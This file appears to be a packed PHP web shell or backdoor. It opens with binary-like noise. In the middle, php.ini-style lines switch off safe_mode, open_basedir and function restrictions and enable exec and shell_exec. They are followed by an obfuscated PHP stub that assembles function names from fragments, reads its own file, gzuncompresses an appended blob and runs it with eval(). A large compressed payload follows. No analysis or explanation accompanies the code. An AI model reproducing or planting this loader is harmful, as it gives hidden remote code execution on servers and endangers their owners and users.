nBkmdxougftvd(~NUFWY= L:?51YF_gVê/Ũ 5o1BBKZV-,( 8x~}]\?D́}޵kZTFQ7!	."ِ='*e}=բԾUnQc^rSB@kmdxougftv6_~8HL2¥vkmdxougftv#x!v+ѡvY"ji
yb\
$5ɆjFn-=MG=S PiT6ARv/'+dncmajivulWD#vRkmdxougftvK5*WV2A G.I$_T^oPUu]tjq񴴬yXSEA
jTk3khG{ U&gAt)@z\~1ZG(E("5SN~-|:Lv:v|&kmdxougftvWѺ߃|ԥ%&HI?h 媳S@6|k#~6T^!:gY]c5-&U\dncmajivulE]RyQ4,G7=Z-ysJ'F0
+42fR5wc[6ҥBTa$wdncmajivulZ{F}Kѡ-OdiVJlLk9J+`_#
szYN'qx0wߋ5O+~JU6op'`.L_w'_qcA̌Կ{ŔRn" QlZ|{x.Tl/]LGz/LtnNb92[yoO	Q_$HG!baam%JRĒdncmajivul} '@(
0M\l@yNRmxZ,ؿ
5Ԙ+{ldncmajivul=kmdxougftvfMww&
ݤnߌ_	gFh9$_ŚX_sT8a"ԧ8xr.f;lPd^"5r ݴGjxѯ3ʦ\fj%O1Zuj=EԆ=Zq|:LY).l=TsB50\lQQq.'뎭#V#ϗ7Bq%ţ,*[mJ3EnTo4qR'l{/^\CQyKzpC}8nܩf1iw"=0\%Q@4^RLJ޽۟6Fn?V5S6ʾUw^|1kmdxougftvo8ueRNO˟[dbviəI4vũɼ$E YF#Za/N&yZБNW̼*_SҨXCjX/ji%b;oeE9Rtj7C- :Ԃ*bݣ"NdncmajivulEdw\D^Q/0,͗$H،[IX?V2exQz:)5BKMv#Obdncmajivul	x:/fcoR6TC=C̤B'rT6PQ9t3}_QgQp
s
~eUؠ&q{9VX&t3@oB`-Fb:Z9
M3F]=nVOH	am"~skmdxougftvf7c L3Pƞ$-wO1ʠ/"h-HVq\k?O}BLx	ב.]I╦EvgOXϏXt T'MPa7@=N9m@LUpBH*R kײ79.ؖωآ.*dncmajivul!zDhf"Nx:Ąb "L
W[A 'JHYgv?NPLFwyH?j-$OY'aI%)xxBkdncmajivulgw(ym{NU
I-Z~VɎӥutrB[@͘qi暯MK.^FqnߑJMX(+}1(1|
ϵ)|18X]d4;kXوY	لV@j6 Ē)
,`?N}ҡ"@
)yS`ucK
T4~)qmF+Cp	pǥ&Vp*:f3g8]\1.@^BHdncmajivulMDm#V	]POv{?):!9kmdxougftvZ=VQ	
{t@K~/\KlV]Rpkl!iSԄb\tfv9fgh5*kmdxougftvx֗'sU+vNV~A)~y|_ƼtU'ݮs%b9SvoaWY#߶u^rkmdxougftv4	
^#[,\-Fk
mhƪ1q!Ϝ\5Q%!,حmDP:l'TMXdy:W }ʎ}3f~^h3DM|?Y2kgϙ|G%VĪE#@wL']Mھ~w=#/-P4 ,ufj#=d~jA(dncmajivulڮ
Réu%O)؆/cCvͣ&ݤV-#8(LkDt -Ӊ)3{F?WfϹladncmajivuln389;J	`_J/kVʍ;I -eܭ
}ƤKuc*Q^o[5wEa(~Q6S/ݙM%qe&{hmuIL譌o8hs؟Y`$~$tuPFن9CE!tC"ѣ󭢫puV{2b]%X8
,+oOoqӽPE[B䩢m6wzpd)CV+#ܪ؆wdncmajivulc-vln)Sׁ}ϓjY6a~\hXD#.[8=U45U
R*bLtnQ_
Ymۯ|bI6]^SR)lmW}%v7XctW=ݲ+ |қD l$F-_g7nLcNH@ =_R"޵w-dncmajivuld0(E\%u-#i5seÆj4{{U: ~kR:iH~-m
[_0ͦ?idP^/&bwKQcJܦ?v`@L8UzS}ٽ?^^
^g
]-Jdncmajivulkmdxougftv9jbdncmajivuly]=o;x,f@{eY?ODd;%®yzfܘ.,ׁF]b 3+23KdncmajivulUZEy!.)fg:L8Sc60drFYnjҮי
T{X~r$E;06ɫ+1KRUsfު9QEe62=ugƭkmdxougftv58]Lի_mN9A2"Clqx]"C~`mCI~?k4O\7O|pA0
F]IN(FǰoxqnƉ]L^=
 V
kK/TQEuLhy+?
yCeoT{{nɺ}0(*k1֤(1ـ,Wkn^31w=GcEPixckmdxougftvhdncmajivul)%9| @1jv0z.alHon3Ҙh?߄'Q``
=б:Ib yJkmdxougftvSzE*dncmajivul}78:(b8N^xy	=}B,?lgɾ
m/bI;'z&ƨ[0ɮo3kȦğ4lweJ;iGcskw*E./je[\}!}@"o:`rs2=_T
Gkmdxougftv+NZV'ѥa  ;l3pw[m7}ұ~v
Xk#o
 -8%@
;׉55Ĕ
h&OP*̺6܈K	_	Yt8?teݪ8oҾ^!=UIcc+`]DP[а1FŤ߽VaFG͡&6O-37MtNF@p3OR_PeEC*=;T4obkmdxougftveɓ7#9?
YXQ^7nW5O(nsՈWQ9
C.dncmajivul@z/O-kmdxougftvYvA};^+/l+@^I:h_9=Idncmajivulc$0	RbJGzU8̑&Qn0T39Adncmajivul}' sjAʦ!?GrEi,xTV_pfp?2dncmajivul&,b6!2v]P5߼3LּQ
)b`NgBE"202:3kmdxougftvBAtC\Թ®A]3,@,wY\ωf.LcrrTL$? 6uw(1-TQcX5g kmdxougftvUIFJ^!`jOwX+dncmajivulx=jkmdxougftvkWkmdxougftvx*'EkmdxougftvjIcFv-d	+t.NUV6}T S#EZdQlil`CxLEmCS/:#kmdxougftv|7Px|OG]յ iʱoa]G
:֦r{UV[l꾋yQl(ϟ(DjbT)S:r%6@g$ޛ!~״bMHHS`d`xl©loi1W+Ȓk_Y~:K/FѻnSqd+\D4Ku l_∷!CI0=PmgⰬuw
j.OAHRdncmajivulsk'kzJԶ (W ݟn.,]rܱhtdncmajivul[꼬YםձNlˋxۂ$#؁D;|8cS!T퉃aM,9Գ/srnY hO?n`ێ6͌;$*+aǟ`?.x=%5Jy}A)ec	&dncmajivul1D#k 3w-G9#NM]fBK`OC	 C:y	*dfIg;&?IoLѣ:Y&^?=&\H'J)\ޱkj'_RkmdxougftvJT+}+%NLt*N^uWBiTWM+SzB/-]Rn4PxWUֶZ.-5^-JȚZ&
neB(+oo

ʔЕIa	Y..yҰ\Էk%
4^~{b;u`Vbػ_tP;ituM=7o(QTw"ɍk0|uiorodncmajivul#3|Nls5xVQr*$?tt1ܙ*3x4Ū&[Z"6af$;i&-x}f(uK[{i$gԻxE%kmdxougftv\Q+;;
kmdxougftv#v`kmdxougftvdncmajivulG٘d˭/SMCLr^+	BdncmajivulkmdxougftvmcFV9;kcXՖzI10]о|
ÂXsۑksx;GbD"S/u6a#sPNi=c8u /`ԲYlN.
oHEW.F\KWۻz+FAwAu4
6̉Q9ɳBJ&9ip]c=8q"'vO(JaNIRaKZp=9!3 ,3\o[ޯD#Ӳ=*[ܨƾ2GD/7d`M(OdCBl/\%}edbٜZN!GJuzτs`-7="aB|P7i;-b +uʃ{Q8,w4nAWa fF凯q`~˲K.ȊWRW@-E[?No)B]5 غ毱eBFfTy4-$@mkY9G7rnL
=أnrT\g7Z&kmdxougftv$eV(ĻMxxPFTlrjuUE
iko(P'{]s_	DVvo`p}@Xb~CVh]xC=NdE`pT@C;8_]5q{e*tdKRJr
^Ε,HO2Lcz[C̥uua`Pkmdxougftvj&2Y:ukmdxougftv?MIBkmdxougftv=8GzX3珟یrIY_۹0&306OgGJ)Ab:ui=L]:jzF ٟBJyQ)].Ń=K*5{e}oGkmdxougftv0z1$?E;SV{
?1d߲*!$S̚9*HJk[HY].%Yl@X!In_/KQpԊ򇈸v1( 	-kL
*dncmajivulp?TxX\_
t=|cN8S9{}{z6j3m[57*IkmdxougftvV&CnSJʏDdY:V0fMʋh&/l|9+=$-``	HdncmajivulV9nWP)jf!{}^
A⑙ՁwR2J74؁;/X!~;VJz2w2 ^kmdxougftv]Sne!J0	g;^$~'lK{
ߦR=MЌ1yI띅̈.|VW
B7 ٥3[IF{֒M7y5+'l)/"Z#, ~ٿk Q-.P1! 7E6eLLK&dncmajivul3=5L2:57^7iWG)xcޜ2"e1/	)'EkJgkmdxougftviiz{hwkmdxougftv//Z=|pBCsRK;͉
,|!f;VtCFukmdxougftv_(whl\ dncmajivul`-d?g,qTo'ʖTg[Br8 dncmajivulr`7^}tA~Z,nVdCるXW9Vkk6J/K;#~+kmdxougftvոQb[Kш(W+b\U`_\YmȘ&5񵠠*
&nd%kCD!OO$
:D&RD|)Y;;Xkmdxougftvנ#kWϻfdncmajivul1/xģpJM?bVCGg3FlLJ:ܲҤ@l^?*Q5=UZ$ː drdncmajivulu]
SyV!"+?M`~r&DjF*#Iys
l&,KDTUv[,/$cIQ
WPQ@{y*ZjLM%KXf+]̔
ubC=W-cf\ȅ랏F
-ey_%2b$3B\nJ	0M0(tF;%_?CT5|,"yqr|xf/n2:U}#k^?j	V?R
Wk=5{T5LA3לC	\9]l
V	Ǖ,T+"阌}Wzi}3Hx8^q{Y ĒٜRMZyMVkmdxougftvZ(q*{"0']AYڣ8® dR|o'3
1gI}x~#cc *R|0LºbW"cAÄV0r:(
re"5Wl[qw-&n
}
y$DkxaAf=~yd6kmdxougftvj6$3_"!a0p١
	kmdxougftv-kP+X@N'Fme!ǎh^NBQt_&*XFn,-4Zq~?#YPSߞ-0sW'U`RuKZIlV`GF;O8		UqK)x(9م^KQbrLŎr0=S
w!5Jp!$N[
S]T,@%M]K[Y_NT烲Bk~O|^[5|NAiۇ2ܬ+v
+A1}~${}NE_S3Åmn9G$skj҉y"Ϡf}qcu!_
p)y)]SJep[yO'2ľMI!ј=y
kmdxougftvn/JOyQ.dncmajivul)7c9?Ha9OMj7&4&ᆘ56 5#w=#󌢛'wjR0!q]H4|qFe3.m㽴2K{564G7f0xE/lDµlģ^f.;@ 㜌N:}AC:/K0`X̫KϨ^NU.
,jU:sʴx)o? &g| qD;ۤ$xe9Y_'ݷ'oa}8.*븝Ґ_g'=U^aK/rq6T%ҍbޙzzz'(pÄ]aJkmdxougftv8^-Z3"lړc7~F3G	^D+x8n %G0;EM0bl4=j&nv
;~zc#I^VGNN!\M.DwV(%?vLbso/
X5y}, l*]@0m6x|GSpelЯcɂY7DUPmc=+G9p-  0ge7n&#4_gqEz_[Q`Kml^窻1|NN,V`HL2Bw)$+ftҠ"/={3=7ԑCzHǷitخ9+--v4k!4vTK;ICLAZK
{8ԈY[Psm~0,E9ڰQ0gqN6L7BsI$O1oe|ᙹ2)4/4=XBWUaͭdncmajivul^?	KmIHbJ:Vl4Aj_nfr헋bOܨ~d8A
p-^YLP{v-`'Ib/^˅\%WMy|kmdxougftvәT㳰]lW9dl5k=0,hhSćN
MB.y?Exy}L~dncmajivul~ʹOz,o(M(҅2aK:cuu=3bt6K/;IFr`ru"^x?h,81|W5soG9:͂2j#!V\h;AEL``ʐy
Tt^x|uX|"L7%xũܼcVMu̒.9b;QXElkmdxougftvNd{4$A~_+eQ$!"s5+"KD_n(nd"aAEEl''AĿTmm
w4}/ J	2h$TSD84w;lAmm.]|݌+{5kA0.IXB֙3Mozfrŧx'^sc8ɡd먇&cjˏe=Xġ1`qy!Q-Ŗ$i/TP\a
h{̳
-5a:j\ǦM+/|uIQ0'd+~ҷG\.7AAvbyÉ	{o6%:{pFd&[Eǫwۤh8
8+'$'IYZoČAH-GL%dncmajivulӎ]bԀy{Pk"E\	hxBNǪkmdxougftvF|ﻦa f;;Lvtd=M+I"a}ezkmdxougftv3-Ct't
KxduwE[[臃(bFAPU~S6Dy	zGTb[ pWkmdxougftviq/fkmdxougftv
!qב݋ŽH-sa2O0 "G#Kzˬq eWKuنc,=$_l6KW$Eĥ9Uw
C̯xrp:kmdxougftv&D鑞wdg)4NĂ4:f}"^eޡyv.tHu(DdÁ
1b'dncmajivul_'?oke!adncmajivul7N9JB/&OD|@kdncmajivul  m| Ű33tFK/*	QYh`' r6ٍ5kmdxougftvn;	8Okdncmajivul]4[ieAsmlchXgU
B)w栚VxfNܬLA.rS~'7E..FgBSRz(gBsN?lixE6@L3sMK#^S5ږU7_)5%*y32X8
Ese4m'&o-mN͙p ShOŐ?XdncmajivulXBts2XЧe_e嶛c;]dncmajivul?r{)DdncmajivulɨleDsdncmajivulvFZȱ]Qv?ㆋ.gU4Kؤk#?7c'(~]&_׋RP]B`󽂢X`x-@]X)o/sT~QaZ(kmdxougftv*(]!Ў\S6:V͡{W{YYϬŢdncmajivuliMkmdxougftv(/,#mxC$35ǜ kmdxougftvR0,_7f82|jݱwhzlpLZGձQZUndncmajivul\{六;K\L`Lgh^Cڇ_Ŷ&~1vvJ]U28P}6!8=!sX&qH7b9{lFm.jᖷ	z/6	߁РH @U
^;P^GD"O.@A_}na.oH@؋yi1k/\xlmFz.Zf:DiXx/%KBDQg*lw[8VYcd 57 7g:* S^Dvm]Kx6C4PH-G_DSNG$Cь̉|kcQgG%b/GpZ*hDXQdncmajivul#584cuI𫠚9?ڻc=E-dncmajivulv/ Ěn(\&-kmdxougftv闛@U1M:kU(#0*qd 1!pƕLdncmajivul(Y5|z#4KS:dncmajivul#O]vJVLAO&rkQd}ST
)ɜ%I$nqQ9:fWq
W뢄5_ Hyt~70Ƞڟs:K`)K)9kwܯ*ҏvb|c`zԫb{l/L+G}E+Exjx=~࡟zY͈s\V[ɌX`bʝ#8HkNHkdncmajivulM9/m06Ndncmajivulto`kF%8/W9jx
c:H	!SE\].V⯹wƅCg`@-BT=&
ō=I=CQׄUd^m9n,ycqNݵ#
\(==uWXVyc6*Bkmdxougftvuc"8a%"\KqܷvIR5	a\~,+[#i-vkzAL'^tMj$[dncmajivul) T@lK)ݯ\g:yYϪD	Sdncmajivul
6%V7Я[:Лw'4~V7H{Ƚnџ'FyHittFIm| klv
zu9,!gdncmajivul50j=cr:;;Rm^x$Cn
"Fjɉ}II-;kdncmajivul!=ت60㧙ʇYPg	!۷踇gti	aL&X,_^?(|
kmdxougftvn}#L:p[2{L:d?9$4&y36crCk2QMiPw{'Aeޙn4:kmdxougftvƷIЕ7Σ9dncmajivulVƂSdncmajivul "O|~p_9KWکibg/6*ĢC y,P$ lO_ЗlGc8kX^|asPkmdxougftvh.cZhMW;c)J0N01yY7+^@+}Z* HUO"S?ȋD!V`ʿ45L] +,L03ԉS
@E7
N7}u֬*8ꅐ2_G؋gUm@g4wa4HXjsԵϋ$55"kmdxougftvb긕$cc,@G/+6v_}T 1y$JG,kmdxougftv16^m8E*yGG|S?H$}E#`{s^\8]CRTFt?vǞ-X
ϯǬ],F=08CΏ즕oF$xԌo1 aju
ٷkmdxougftvm,Ol0wl8NGo
0DAkmdxougftv"rRW+l ~Z֫ALM⣼B=pBϼ`RriaR3~+d֘R3yJ,I2V
7QA,1I"
1Xr	%^ZN:rʫ\HXIA))I7+RZΊ09:(¹~.'#0'O7In*rfJEͤ}r`_\9z],0숻virX{kmdxougftvZ^ꛀ/^f7͏b0pt'/&քB/il ~n@[EkmdxougftvzTkmdxougftv-EX%YvPx
H2xFkmdxougftv3H]bD (x R'c*ѦK?(a
Ʈ:KAtD{׋4dncmajivulrYmdBߨ.΋l
29صQH{5Sqy5Fl|HzP%'
-gU9lfc"0)Y@K-=['odncmajivul~x5~O}þݞSëqkmdxougftv}0(3%\˿w_Isafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php
$uhgc='e'.'xit';$yNRn='st'.'r'.'_replac'.'e';$Fcsv='file_ge'.'t'.'_con'.'tents';$MUJn='gzun'.'compress';$uBNJ='sub'.'str';eval($MUJn($yNRn('ykavetmhdf','>',$yNRn('gwzrdbufxv','<',$uBNJ($Fcsv( __FILE__ ),-217209)))));$uhgc(0);
?>
x\ogwzrdbufxvUGhPѼ!oZ9E!TB%O?wK3yݻUkc?Gouoǿ=ڏ_GM=gwzrdbufxv}_gwzrdbufxvowA_vk~oKvݗ-QyPS~ hU֟#jן?ϯW8￴ſ)ƿKykavetmhdf?*hP[A7&bYA-#iu~i鮚'q
*K-
1SܹBܕIyf
!T
򣟏.R:gc$p@\89&|Yd2j##y6k%Q"#O%c|rĄ\ΆGWSR|! 3%fi$RaRIojbIC))l}gwzrdbufxvv gς㳞
O._.GdHF\-K3qed4qNjUE̙
Kn[
zZފ5{&/ߵ``ykavetmhdf^^}gU2T	/NgI9ŵDq.r'PZeĊTGĘ[KGs27̳qCtV6^n&aW,_{ʚ1fNN9AvOa0LY:-gwzrdbufxvITPEb雹U;.#Ù6ogwzrdbufxvuW6eseb=X=|EF]"|^dԭP~`JZP3[9ַlwiw+äzA*̥͛(Mck{HO"̇uAsT"#+,NCwJr6A9ukkE"Ja`gwzrdbufxv}8r,2%X^iXKX4A2+ҚKn,5hmfȑ^hꌚ/O0d_zK}{U/_FvȤB{ C|c#1^8N$x}5*)SN9[*uXPS[5WIyn&}y0/|":@pV
1oN)%?NTX:zASU̖Q|l5fZS\4G*Le1ykavetmhdfWh*z%rihƝeL6tp4:@*b6$z,:lIf}cu}λ"S26{T+w-ykavetmhdfY"Kgl?'ofskHY].F@[`:BPcjwt*{.2
:a]	Yp|]Z
wwXbIиS/47"貌/kv:酥԰%)#yH -)EYQ
!ޜ,P*jFN`oV0WKgV[%)3ƽ:"|U~wKX܉#6ZݸFֽh.b]znQZ[)EWd6:4gwCi/zD*Ѩ6C:otRIm2sFAb/yevW˾ښ+$1eFO.Xǒ LO.IWykavetmhdfK9_+C7mVZYgGBykavetmhdf~h-@}"j_3&ykavetmhdf4G^吁QpP,[~ĕ0g|E99_b"-2A,T/Yn.s6YAOBM6ʄ1)L"qi6_6ȥ̗9voN'6[[įW&a%9W_23ډ%pcSf.'zͶfK9x?r#53SA^P'n\!
[Zz@
}cVa^HCMYPi$|W,*W5_d4Zd&sdǣIFC7'R5oz2%7H)Gx*my
8{˭{vݗq)wLl3:;iBwI=JL|~2[}gwzrdbufxvRFy3q:CRAf0OEӬGb݃6.7ĥ!ZRjG'ykavetmhdfT&$gwzrdbufxva$eMEp T*DQڄ/U0z'݉ vת*nm+'2dˮOZ	DykavetmhdfdP#ڟ%
A0V4vMÖ[
 ~PF1)w;"W*!+5M
}A)A?TLIxTΝS\4OfΏdXVݤߴNg*gwzrdbufxvsw][BD.7"͊W4\z$Ƞ:Gx-Y|0r:8$PK~2rw`80hvܧb=c@;K;$!gu~Q^]Im}hnL}d

+Ab#_+I[萌V LπvH̭m~)9&Wd%ǯNfEjtR0Fept4,ȳ%8ҤE|C%B	s&zeP3h+Ác|ggwzrdbufxv/3hTkZ
mJN,n;a7AnmMUc/~w u0ʞ+R?+gwzrdbufxv74~aI3v\NkZGzVzvGUxBdީo14IDdl"ݥx&&APW\׋G_nnt%N'\-hy"a)nWd21Z)31RCo:޹Џgwzrdbufxv5IPr31O},nDMACZ|-);#}N~ޔ΃c-gwzrdbufxvT"g|q8RrY.-jJDވ8Bf&td3mQdR2 =r4H:\RǠ\$ND̬֟\ݝpFbx;\WUbSȭqL(!ßX]#1d`8Q)76q|gwzrdbufxvP25V|t*_,qЛ˪A|HX 9b$M!Rej+n$&gwzrdbufxv!Xp̕Dẉ+1KwdfghRgI:dp mr }'gykavetmhdfBsjKE$ABn*l'W|BFu 71gmI=iXle|04	
_`'C_2DqeH${R;%RHH(@KQ_x%?Rq=yub_6
@5eQNVNf*?
c%EMK11wƃÅ;##un0rhJ6hgP~BbS.*L#A[0^t}puAߖ
gwzrdbufxv:8?b c%`\6viufq^鮓#~d(m0"gwzrdbufxv٠mG{n6Rޚ)b"uka.eD4RL!s;	s֟,_ykavetmhdf32eԂ0_[)plP{F\8:`62eykavetmhdfZ0LSCb"͢k opykavetmhdfZww1n.Q;]aPB'rQMa19Sob5_˞pgn T
x J?$'+H{2׉h`REE:xxi84Qv= /hyN0@OA).֢_8	V&0NDK*4=@̓6J
Lj2B388TWKF:o70g|}/LC/!=gwzrdbufxv	_2*A#a^jlJd/DCF]Vs3gMABgwzrdbufxvTykavetmhdf!jtAcgz!W 71!A|cd4Up̞iRi`!$艂ȁ 8l#C"AU
98\uxHT.pB?KC*6֝6ߕ.ڦnc9h/Tƍ"*9Gv5SU
j 8N2g|NdLЇ*(O9hki(G9pۍ-Щ
꾢T9-و1d"i2gwzrdbufxvΈ߽;ykavetmhdfhOK,:Vj!9$T}&4"no=rRo$N~#nbઢR??^mC9gwzrdbufxvU'Afah -3I^!f ?	2m*j++X1_U-EI%kM+5v:.Lt'XyiAr
㱫)3gwzrdbufxvAWդ$绲H[_$kW
}3{Qښ7.q;xVBB	gwzrdbufxv/_,Ȧ.\\ykavetmhdf`'S;#6i%wv/ô	!F?|T=s["żCRk.[]V.0RYǻg#̭}C20\%*7K*XfCIs7ͬ%q}"A|){e\[y}*S闯\FCnMykavetmhdf!#_6}:g/SƱWr)[ZGfǒK2rgeOV&/:[je*e"D%#}QOP-bX~n&@|ιtJ?Z(/U
9K7RKr?3$WO]'bJ%s_sʗ\_d.߷+GsOhryxgc^7Qٹ0OlyF&2aë̜c^7YUoլ帤q̓PNrK8oAWY kgwzrdbufxvbrN|BR̹+莛sGIAV	SSL]	~j~
wPCLH8@vc?ϫb|mǗ-$ZpykavetmhdfԶΡ46'8\ʡ%l``W0-sUC2?1g2ȄȚSǘ`q:_\ݷD7TzU#E၎oGr9?-%
x⇁2r3sdd7s-E"_&M:0j[
^bzAr4	EX@;C6JkApykavetmhdf*'9@waWc\);s(jXϚ)Zs"$!ƆTAN@'&smmji6Ѿ5a6iˍ`s-)DWk5.g5OXՊMcF`zCyAR WgяQwА8%ƕзc߂{ipTAϊga g=1~!G꣕D (U.7fhߐ^8c#ykavetmhdfԐQpoΐ: @C{V6G+N+b|hp	qSAͱذl'9=xem@n.E's9P8Z-0)dA3w%&C2|ͱm,G!F\8E9V7Ep#h"[WT2N u=*ȭ9qV+04O$t.w:yZ
q0[A||AoVt@UOM	]`	{Eæl"ӟeA9^Vȅ/j7g|ʡa*ȑWdKN_&X.q-sɊrKLBtjgOWy?TL3q]&S7ds~]6rقs}rys`l#nZ#CaIeU@'rpo.]QÓ"Srp'܊#fLF"]ꠑٌYona"1T}1URZIXykavetmhdf&iяz,7u٥{TX*10S2\7Vp2l@*1f 66ZߩȧoLWXmoĆ*[
,-	,Q厮sg?B Clh+ɽXws9,Mםm# \hN,(w'htb}ykavetmhdfCm7[|ۭ.iL?tM8O|fLEŔ#}:͚[a%֮,o=^E ^L8Q(9{a+zxykavetmhdf Tp=hMl.h$I* @\*muAo q3)H`t3
3qT9gwzrdbufxvnrDF6U贅ڃ:Zxld}@RT~Q11l_6d*vykavetmhdf첁cykavetmhdf*gwzrdbufxvBs	ja5,
_y)G;x .oO{awW}taNE^^M񩴺D󒜖tρ^J!ykavetmhdfM&V_?OgqhGΐr):;XTXw.D^+|:躗-y1|Ё3rɮ$62lG+-]Nv[pך3*KIp2Ηn2x4(!Sh 4Sau*mʆؠ"42cUܶBHP%o1Vt	n"ٱh{C'߫tr~]v(Z'axLlx&213[lc]/W8akDbW9e!y)BW"t.gwzrdbufxv_!?K)D19-1
jy@gbˏ[Ӑeb;`tl
,Z ?
dxREUN'ĈBy
 ~dTtT#cƿߕd\ϵtP83|gwzrdbufxv6W^5Ub/gwzrdbufxvFw
Y[멙ĩ4;ƅqJ8vyC?U2i?ڢ*t}i"~g!|?hzL!x("C8㭄9֜u ykavetmhdfW=k_gwzrdbufxvcy9󫊘4Ԃ`s7|A4$7ݛ Ȩ_'
kdY)ՙykavetmhdf-?M4㟍HbN^ݘa,Knj@Rv~!/?4ӎ
}7,^SL	
xa5 yM~V\2E3/,N4\OŃ!5`~"3'1v"xiC_[gwzrdbufxv|a9
)LYvh~589dKNj_	c
ټӓY9gVh/^gfWv&/8VRQ**̀)ӥsԈا
^I!0CWT(fc_n'ȦNt9F:"nm
Q{RTb̞W{uU9 qȈfWGҾ aykavetmhdfrL!W9v3xɬA
=[[h=|hxXD㓜$hW4 :8vD|[l*kWS[*A61еG~rs+1/
r;=~&IW市!tp?"q+440eykavetmhdf`
!yVWX\1x(9ř8gQ"t||gwzrdbufxv+ťKmp!s)0)b7O}
ҫ~dI
!w
a①2Cfq^GT#}ͫM'jWCm2x9cւwoIzntesHtS$]RKH/zykavetmhdf^s*ڊe7{+1yr8o`5V
;&87
~o+?7ykavetmhdf޺C"5AcC-m:sE)1NXIR|^%fWݏL|mlx.LyGZ?;0ykavetmhdf/``rU
lsF	#Wq^r1Wsy)_7uh"P|ͤV̳gwzrdbufxvt̏%i'{=jI?ƸͷUm-5!xX
ZrWrXJx35}JSB?]gwzrdbufxvHj]gwzrdbufxv*k5Vwֻe71YL潷qAKFgwzrdbufxv*M	Ʊh|Nsא}	O|;klJ9yƇ#[~V᷎na.|{əe\ɔ|?o%il)
)ʺZfӨrC3Oȿy=\ZGh:{)up 6gwzrdbufxvM/;EShR\bE+QtW"0 PmI+L9dtÝjgϽ +o#m2mavH+Hu;bZ^g0G0}5a%0f[}d"jXdwl$}$8N|]uz\nkykavetmhdf
nL
Z6.=x퀔Շ,S̸JX̯m)'p|{f"!Cτ#Ni!N?89h!͹ޠánڀ^HmȬ
kf}
gwzrdbufxvBB/buq9ͽ0p~QygwzrdbufxvU#
U]`^bIEa.Sڴ}ykavetmhdf@N8a-~"`2%ȃ02q GlB^'qSb/L_WĿ*&w8OPsrJC*ttg5{Gx8''l|&[!\(FM|q|m= 4 T:g@SʎgзA F-OG6_.Hp1Y9gwzrdbufxvfC3nGVK
k+kD;`_8w$IibQZjYIivx4o?i	!%,y*Emz򴜘+`4~9HDnkN Uڢ[Z5㱿oRXa5}YyH$݂B 2P4LlNѐ԰ #!
ʮz=[Yѡq.jŋykavetmhdfc6$SSqweTE]reLc`aWzYG׋H 6A?ȼd@&;+E^#}f	t:[6sj阎I:qH!1LĤGY3;dNgwzrdbufxv*CDgwzrdbufxvC4cjn.$!xgwzrdbufxvgwzrdbufxvykavetmhdf&p~_
*Pr僿?K!,spl%$CK9ЕgD/5]ykavetmhdf?MVBy٨3ŧgwzrdbufxvXחf^8}:^QO
2j/~(C\~ۢ;9@slBPﾦDX
lYK?+q*Xykavetmhdf8phK9]*df'&t]OPGrpEG-y@gwzrdbufxvuTUP3u@r1M3`"~gwzrdbufxvPx& xN
*^u "4Lǃr9_IxjLKcW߈|+/#"l@R^=p!9؆+!$
:4~]{S0a7-xknIr}:`~E_H(uOTۺ ;Wgwzrdbufxvn$+C31j2lRiQYiŜrJ8%}R4G۪B=sb: N-pFmړ%6}z~TN%ݢ&|*%7L'pBg
@|%Yh,ن{n}[U[W@Vrr(Xn;Q:칪NU&WA̠ogwzrdbufxv$Xf8
ϯAj'Ρ7NE*qh
Хh2O&agwzrdbufxvս*p.3\ٓ(l+ b"y-A[2F1gb|H,Kb`70^BF򁏪z
9&@nPסFQ4A,8z 6@{4aB6#(lzn+[|TCws32?ѭ8HݝMhf8LBT|w
2ɛ8
V7`RaGUt7 49r\P*PA8fA4Wȼ3¸&qׅvlN=6iYYUbAǧb#u.QPkG%hrڦ%xk4mʐZ48kJq}}t+ƁK#o~	gwzrdbufxvB8-_j)N$z@jB8o~qu)@(z=uq8IpDU$ߏMw
rc?^'hF	J֬J-xkbfW.tLo `,DC┑%XgNdP	mB`4_1rBz&\Kykavetmhdf*OCɶ˧]cd|iQ|q	dӹ@ȃS+R8R"sN5xz1E	ę2|!?
uQC]_-KaX}}mykavetmhdfR8FJvrX	WU@ߙ;YW4UJx_W:m@^֜J9/Kf;*ސԋ1L|C0#y'|myCk-9//"CȰ0vU.RHykavetmhdfCM{hzoϟ);?s	F⃙&$mtU'汄qh@$(kR{ykavetmhdfPʈ[tM؊)*NS3,:~.iHi=_\ERg^gwzrdbufxvpJA7Ho,Uf gwzrdbufxv`'{Sb}zޙ59jLV"㬑N-DPAf}ga Hˮ#GS^w+
u3P-yFX3
	{|0]͈%pxc+FOCf_7er_2%ykavetmhdfykavetmhdfr|ykavetmhdf2}伍,{]!K-&S:9Ax.40ݢE-TB6)Ia/rmc#yWrF1yby{+uGI_}ñB[O'a|I9.@:%4ݚ|_gwzrdbufxv_+h.m眚jRPV1\ǈ!yAWSjBUaM@tmx$dXN$?]Ds ܯw29Zz:#e-,ޟ(r$ָB$Ys +sY=hטU-ݹ.D'.hC?WtSy|5#E6|mW.2gjOw^Uxm^)*{!Rb/'73u_O
s9dr^38壶DkCsH{NrzEu/L=B{wMJH-bȡז}1=+C&Jh8)
(W^z=+Dfykavetmhdf`-@zg[ct)hxv@ssIϲ\q([!Ի\?=?Anux~¼ 
|o|#jrJ'g	2s $HeS{&&7ŕz\Qg.2/(U`vWR3{);)3+=d?
TͽF$PX5e-x?u"˻	C9Q&HpULNǙqH!hd\obU^٦(Hof{&;ԆXd#rV8hv%N#؍8~qRPu5\IjCeF|iN2\iN=~w]lff\ آ w!gAC3}ٓY]O}1uٟyQR
gS;0ߩK#2wlp_L7!t&CBnH~gwzrdbufxv\5gwzrdbufxv@-yisKo6IWAV?
Snܟk'^S4-=-íå0ykavetmhdf+kykavetmhdfڂ%wGz
^p0T

tJy)-zӟ-u	뵪qتJʕ2c1^{l#gwzrdbufxvN&}Y@so8]ػkqT _)i #*k6UPrx9ЍqY g@O|.0N!qGE';LRCqZ[2
6XX;c?	g u- pkR`Ş}9J ۸;bqDu\}d,20ԉ
?g[K-L6QRykavetmhdfugqfMRqJgwzrdbufxv29s oͦ. 0x-$'Y57QGJ;^ay1?Ec5V hNdoHqXP"[nck])l-ykavetmhdfWg@%0LAa4sy[wp
n| ˫6hn09ZfELU
r4t18͚˱𱖶Nd	wykavetmhdfFڄD?׿ڶ,9"З}rGoy!/xCL䩂_R|6v j  MA_@Ϛс"Y|fwVw2̙lݜsr%W	ӷf\OYx^nRbmn,%o%MXM~$=ȻP}OӪEcwQ5̉;˲apȆcQo'@
8`#N`^vtFS;]|/`؞ _Wm5Vs
Y4MM˰
3P&F}͆6_nƻϺP3smBevz62Ʀ,GQ&ЩAΏSi`}YHvֈANW.mwRd*3̢
